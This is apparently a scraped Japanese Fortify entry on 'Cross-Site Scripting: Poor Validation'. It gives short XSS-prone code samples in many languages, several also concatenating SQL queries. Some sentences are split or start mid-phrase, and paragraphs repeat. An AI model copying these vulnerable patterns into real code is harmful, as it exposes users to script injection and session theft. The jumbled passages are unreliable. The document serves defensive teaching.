HTMLENCODE を使用しているかどうかに関係なく、データベースから提供されたデータを適切に検証しないため、XSS に対して脆弱です。この原因は、variable の内容が複数のメカニズム (HTML と Javascript パーサー) で解析されることにより、エンコードを 2 回行う必要があるためです。このように、攻撃者はリフレクト XSS でのように攻撃対象者とやり取りしなくても、ユーザーの Web ブラウザ内で悪意のあるコマンドを実行することができます。このタイプの攻撃はストアド XSS (または持続型 XSS) と呼ばれていて、データが脆弱な関数に間接的に提供されるため、検出するのが非常に困難な場合があります。また、複数のユーザーに影響する可能性があるため、影響が大きくなることもあります。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含め、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。username を読み取って、ユーザーに表示します。
<script>
document.write('{!HTMLENCODE($CurrentPage.parameters.username)}')
</script>
username にメタ文字またはソース コードが含まれている場合、コードは Web ブラウザで実行されます。また、この例では HTMLENCODE は Javascript パーサーで処理されるため、この変数を使用しても XSS 攻撃を十分に防ぐことはできません。Example 1 に示すように、データベースなどのデータ ストアからアプリケーションに危険なデータが提供され、動的コンテンツに追加されることがあります。攻撃者の立場からすると、悪意のあるコンテンツを保存するのに最適な場所は、すべてのユーザー (特に、高い権限を持つ、機密情報の処理や重要な操作を実行する可能性の高いユーザー) がアクセスできる領域です。Example 2 に示すように、データが HTTP リクエストから読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS は、攻撃者が脆弱な Web アプリケーションに危険なコンテンツを配信し、それをユーザーに反映して、ユーザーのブラウザで実行するように設定できる場合に発生します。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は攻撃対象者をこの URL に誘い込みます。コンテンツがユーザーに戻されてサイトに反映されると、コンテンツが実行され、攻撃対象者のコンピュータから個人の機密情報を転送する、不正な操作を実行する、などの複数の操作が実行可能になります。
<script runat="server">
...
EmployeeID.Text = Server.HtmlEncode(Login.Text);
...
</script>
Login および EmployeeID は、次のように定義されるフォーム コントロールです。例 2: 次の ASP.NET コードセグメントは、プログラミングとしては
<form runat="server">
<asp:TextBox runat="server" id="Login"/>
...
<asp:Label runat="server" id="EmployeeID"/>
</form>
Example 1 と同じ機能を実装します。
protected System.Web.UI.WebControls.TextBox Login;
protected System.Web.UI.WebControls.Label EmployeeID;
...
EmployeeID.Text = Server.HtmlEncode(Login.Text);
Login に標準の英数字テキストだけが含まれている場合に正しく動作します。Login の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。
<script runat="server">
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = Server.HtmlEncode(name);
</script>
EmployeeName は、次のように定義されるフォーム コントロールです。例 4: 同様に、次の ASP.NET コードセグメントは、
<form runat="server">
...
<asp:Label id="EmployeeName" runat="server">
...
</form>
Example 3 と機能的には同じですが、すべてのフォーム要素をプログラム的に実装しています。
protected System.Web.UI.WebControls.Label EmployeeName;
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = Server.HtmlEncode(name);
Example 1 と Example 2 に示したように、name の値の動作が適切であればこれらのコード セグメントは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、これらのコード セグメントはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースの内容はアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 や Example 2 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 3 および Example 4 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。text パラメーターを HTTP リクエストから読み取り、HTML でエンコードして、スクリプトタグ間の警告ボックスに表示します。
"<script>alert('<CFOUTPUT>HTMLCodeFormat(#Form.text#)</CFOUTPUT>')</script>";
text に標準の英数字テキストだけが含まれている場合に正しく動作します。text に単一引用符、丸カッコ、セミコロンが含まれている場合、実行後に、コードは alert テキストボックスで終了します。Example 1 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。user を HTTP リクエストから読み取り、ユーザーに表示します。
func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
user := r.FormValue("user")
...
fmt.Fprintln(w, "Username is: ", html.EscapeString(user))
}
user に標準の英数字テキストだけが含まれている場合に正しく動作します。user の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。
func someHandler(w http.ResponseWriter, r *http.Request){
...
row := db.QueryRow("SELECT name FROM users WHERE id =" + userid)
err := row.Scan(&name)
...
fmt.Fprintln(w, "Username is: ", html.EscapeString(name))
}
Example 1 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザーで攻撃者が悪意あるコマンドを実行することがあります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターに「ゲストブック」を提供している Web サイトで、次のような形式で開始されます。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険なコンテンツを入力させられてしまい、それがユーザーに送り返されて Web ブラウザーにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 2 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意あるコンテンツを実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりすることがあります。escapeXml="true" 属性とともに <c:out/> タグを使用する (デフォルトの動作) など、特定のエンコーディング構造体を使用すると、すべてではありませんが一部の Cross-Site Scripting 攻撃を未然に防ぐことができます。データが出現するコンテキストによっては、HTML としてエンコードされた基本的な <、>、&、'、および " 以外の文字や、XML としてエンコードされた <、>、&、"、および ' 以外の文字も、メタ的な意味を持つ可能性があります。このようなエンコーディング構造体に頼ることは、脆弱な拒否リストを使用して Cross-Site Scripting を阻止しようとするのと同じことであるため、攻撃者が悪意あるコードを挿入してブラウザーで実行することを許容してしまう可能性があります。データが静的に出現するコンテキストを正確に毎回特定することは不可能であるため、Fortify Static Code Analyzer は、エンコーディングが適用されている場合でも Cross-Site Scripting を検知して報告し、Cross-Site Scripting: Poor Validation の問題。eid を HTTP リクエストから読み取り、<c:out/> タグを介してユーザーに表示します。
Employee ID: <c:out value="${param.eid}"/>
eid に標準の英数字テキストだけが含まれている場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。<c:out/> タグを介して対応する従業員の名前を出力します。
<%...
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
}
%>
Employee Name: <c:out value="${name}"/>
Example 1 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。
...
WebView webview = (WebView) findViewById(R.id.webview);
webview.getSettings().setJavaScriptEnabled(true);
String url = this.getIntent().getExtras().getString("url");
webview.loadUrl(URLEncoder.encode(url));
...
url の値が javascript: から始まる場合、それに続く JavaScript コードが WebView 内の Web ページのコンテキストから実行されます。Example 1 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 2 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。Example 3 に示したように、アプリケーション外のソースで危険なデータがデータベースやその他のデータストアに格納され、その危険なデータが信頼されているデータとしてアプリケーションに読み込まれ、動的コンテンツに含まれる場合。eid を HTTP リクエストから読み取り、エスケープして、ユーザーに表示します。
<SCRIPT>
var pos=document.URL.indexOf("eid=")+4;
document.write(escape(document.URL.substring(pos,document.URL.length)));
</SCRIPT>
eid に標準の英数字テキストだけが含まれている場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。escapeXml="true" 属性とともに <c:out/> タグを使用する (デフォルトの動作) など、特定のエンコーディング構造体を使用すると、すべてではありませんが一部の Cross-Site Scripting 攻撃を未然に防ぐことができます。データが出現するコンテキストによっては、HTML としてエンコードされた基本的な <、>、&、'、および " 以外の文字や、XML としてエンコードされた <、>、&、"、および ' 以外の文字も、メタ的な意味を持つ可能性があります。このようなエンコーディング構造体に頼ることは、脆弱な拒否リストを使用して Cross-Site Scripting を阻止しようとするのと同じことであるため、攻撃者が悪意あるコードを挿入してブラウザーで実行することを許容してしまう可能性があります。データが静的に出現するコンテキストを正確に毎回特定することは不可能であるため、Fortify Static Code Analyzer は、エンコーディングが適用されている場合でも Cross-Site Scripting を検知して報告し、Cross-Site Scripting: Poor Validation の問題。eid に標準の英数字テキストだけが含まれている場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。Example 1 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。
...
val webview = findViewById<View>(R.id.webview) as WebView
webview.settings.javaScriptEnabled = true
val url = this.intent.extras!!.getString("url")
webview.loadUrl(URLEncoder.encode(url))
...
url の値が javascript: から始まる場合、それに続く JavaScript コードが WebView 内の Web ページのコンテキストから実行されます。Example 1 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 2 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。Example 3 に示したように、アプリケーション外のソースで危険なデータがデータベースやその他のデータストアに格納され、その危険なデータが信頼されているデータとしてアプリケーションに読み込まれ、動的コンテンツに含まれる場合。myapp://input_to_the_application)。URL の中の信頼できないデータは、その後 UIWebView コンポーネントで HTML 出力を処理するために使用されます。
...
- (BOOL)application:(UIApplication *)application handleOpenURL:(NSURL *)url {
...
UIWebView *webView;
NSString *partAfterSlashSlash = [[url host] stringByReplacingPercentEscapesUsingEncoding:NSUTF8StringEncoding];
NSString *htmlPage = [NSString stringWithFormat: @"%@/%@/%@", @"...<input type=text onclick=\"callFunction('",
[DefaultEncoder encodeForHTML:partAfterSlashSlash],
@"')\" />"];
webView = [[UIWebView alloc] initWithFrame:CGRectMake(0.0,0.0,360.0, 480.0)];
[webView loadHTMLString:htmlPage baseURL:nil];
...
Example 1 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値がデータベースから読み込まれていて、HTML エンコードされているからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。攻撃者が指定した攻撃コードは、エンコードされた文字を迂回すること、あるいは HTML エンコーディングに影響を受けないコンテキストに入力を配置することが可能です。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 に示したように、カスタムの URL スキームからデータが直接読み取られ、UIWebView レスポンスの内容に反映されます。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある iOS アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信されるカスタムスキーム URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるアプリケーションの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてアプリケーションに反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 2 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。htmlspecialchars() や htmlentities() などの特定のエンコーディング関数を使用すると、ある程度は攻撃を防ぐことができますが、すべての Cross-Site Scripting 攻撃を防ぐことはできません。データが出現するコンテキストによっては、HTML としてエンコードされた基本的な <、>、&、'、および " 以外の文字や、XML としてエンコードされた <、>、&、"、および ' (ENT_QUOTES が設定されている場合のみ) 以外の文字も、メタ的な意味を持つ場合があります。このようなエンコーディング関数に頼ることは、脆弱な拒否リストを使用して Cross-Site Scripting を阻止しようとするのと同じことであるため、攻撃者が悪意あるコードを挿入してブラウザーで実行することを許容してしまう可能性があります。データが静的に出現するコンテキストを正確に毎回特定することは不可能であるため、Fortify Secure Coding Rulepack では、エンコーディングが適用されている場合でも Cross-Site Scripting を検知して報告し、Cross-Site Scripting: Poor Validation の問題として表示します。text パラメーターを HTTP リクエストから読み取り、HTML でエンコードして、スクリプトタグ間の警告ボックスに表示します。
<?php
$var=$_GET['text'];
...
$var2=htmlspecialchars($var);
echo "<script>alert('$var2')</script>";
?>
text に標準の英数字テキストだけが含まれている場合に正しく動作します。text に単一引用符、丸カッコ、セミコロンが含まれている場合、実行後に、コードは alert テキストボックスで終了します。Example 1 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。eid を HTTP リクエストから読み取り、URL でエンコードしてユーザーに表示します。
...
-- Assume QUERY_STRING looks like EID=EmployeeID
eid := SUBSTR(OWA_UTIL.get_cgi_env('QUERY_STRING'), 5);
HTP.htmlOpen;
HTP.headOpen;
HTP.title ('Employee Information');
HTP.headClose;
HTP.bodyOpen;
HTP.br;
HTP.print('Employee ID: ' || HTMLDB_UTIL.url_encode(eid) || '');
HTP.br;
HTP.bodyClose;
HTP.htmlClose;
...
eid に標準の英数字テキストだけが含まれている場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。
...
SELECT ename INTO name FROM emp WHERE id = eid;
HTP.htmlOpen;
HTP.headOpen;
HTP.title ('Employee Information');
HTP.headClose;
HTP.bodyOpen;
HTP.br;
HTP.print('Employee Name: ' || HTMLDB_UTIL.url_encode(name) || '');
HTP.br;
HTP.bodyClose;
HTP.htmlClose;
...
Example 1 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 2 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。eid を HTTP リクエストから読み取り、HTML でエンコードしてユーザーに表示します。
req = self.request() # fetch the request object
eid = req.field('eid',None) # tainted request message
...
self.writeln("Employee ID:" + escape(eid))
eid に標準の英数字テキストだけが含まれている場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。
...
cursor.execute("select * from emp where id="+eid)
row = cursor.fetchone()
self.writeln('Employee name: ' + escape(row["emp"]))
...
Example 1 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 2 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。eid を HTTP リクエストから読み取り、HTML でエンコードしてユーザーに表示します。
eid = req.params['eid'] #gets request parameter 'eid'
Rack::Response.new.finish do |res|
...
res.write("Employee ID: #{eid}")
end
eid に標準の英数字テキストだけが含まれている場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。Example 1 のように Rack::Request#params() を利用した場合、GET パラメーターと POST パラメーターの両方が表示されます。そのため、悪意のあるコードが URL に追加されるだけでなく、さまざまな種類の攻撃に対して脆弱になる可能性があります。
...
rs = conn.exec_params("select * from emp where id=?", eid)
...
Rack::Response.new.finish do |res|
...
rs.each do |row|
res.write("Employee name: #{escape(row['name'])}")
...
end
end
...
